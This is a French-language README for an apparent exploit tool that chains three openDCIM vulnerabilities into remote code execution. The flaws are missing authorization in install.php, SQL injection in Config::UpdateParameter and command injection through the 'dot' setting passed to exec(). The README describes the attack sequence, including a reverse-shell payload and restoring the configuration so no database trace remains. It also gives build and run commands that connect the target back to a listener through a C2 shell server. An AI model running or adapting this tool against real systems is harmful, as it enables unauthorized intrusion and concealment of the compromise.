
openDCIM install.php chaîne de SQLi vers RCE (CWE-862 + CWE-89 + CWE-78)
Chaîne d'exécution de code à distance ciblant le formulaire de configuration LDAP de install.php d'openDCIM. Construit sur le framework VulnCheck go-exploit.
| # | CVE | CWE | Description |
|---|
| 1 | CVE-2026-28515 | CWE-862 | install.php n'effectue aucune vérification de rôle avant le formulaire de configuration LDAP - tout utilisateur peut y accéder |
| 2 | CVE-2026-28516 | CWE-89 | Config::UpdateParameter() utilise l'interpolation de chaînes, requêtes empilées via PDO+MySQL |
| 3 | CVE-2026-28517 | CWE-78 | report_network_map.php transmet la valeur de configuration dot directement à exec() |
Versions concernées : Toutes les versions (testé sur le dernier commit 4467e9c4)
install.php - l'injection SQL via le formulaire LDAP sauvegarde la configuration, remplace dot par une charge utile de commandereport_network_map.php - déclenche exec(), confirme la RCE via la sortie de idinstall.php - remplace dot par une charge utile de shell inverséreport_network_map.php - déclenche le shell inverséinstall.php - restaure toutes les valeurs de configuration d'origine depuis la table de sauvegardeAucune trace laissée dans la base de données après l'exploitation.
go build -o opendcim-exploit .
# Scan only
./opendcim-exploit -a -rhost 10.0.0.1 -rport 80
# Exploit with reverse shell
./opendcim-exploit -e -rhost 10.0.0.1 -rport 80 -lhost 10.0.0.2 -lport 4444 -c2 SimpleShellServer
./opendcim-exploit -e -rhost 10.0.0.1 -rport 80 -lhost 10.0.0.2 -lport 4444 -c2 SimpleShellServer -username user -password pass
./opendcim-exploit -e -rhost 10.0.0.1 -rport 443 -ssl -lhost 10.0.0.2 -lport 4444 -c2 SSLShellServer
| Option | Défaut | Description |
|---|---|---|
-rhost | Hôte cible | |
-rport | 80 | Port cible |
-ssl | false | Utiliser HTTPS |
-lhost | Hôte d'écoute (pour le shell inversé) | |
-lport | Port d'écoute (pour le shell inversé) | |
-c2 | Type de C2 : SimpleShellServer ou SSLShellServer | |
-username | Nom d'utilisateur HTTP Basic Auth (à omettre pour les déploiements SetEnv) | |
-password | Mot de passe HTTP Basic Auth (à omettre pour les déploiements SetEnv) | |
-a | Détection d'actif (vérifie si la cible est exploitable) | |
-e | Mode exploitation |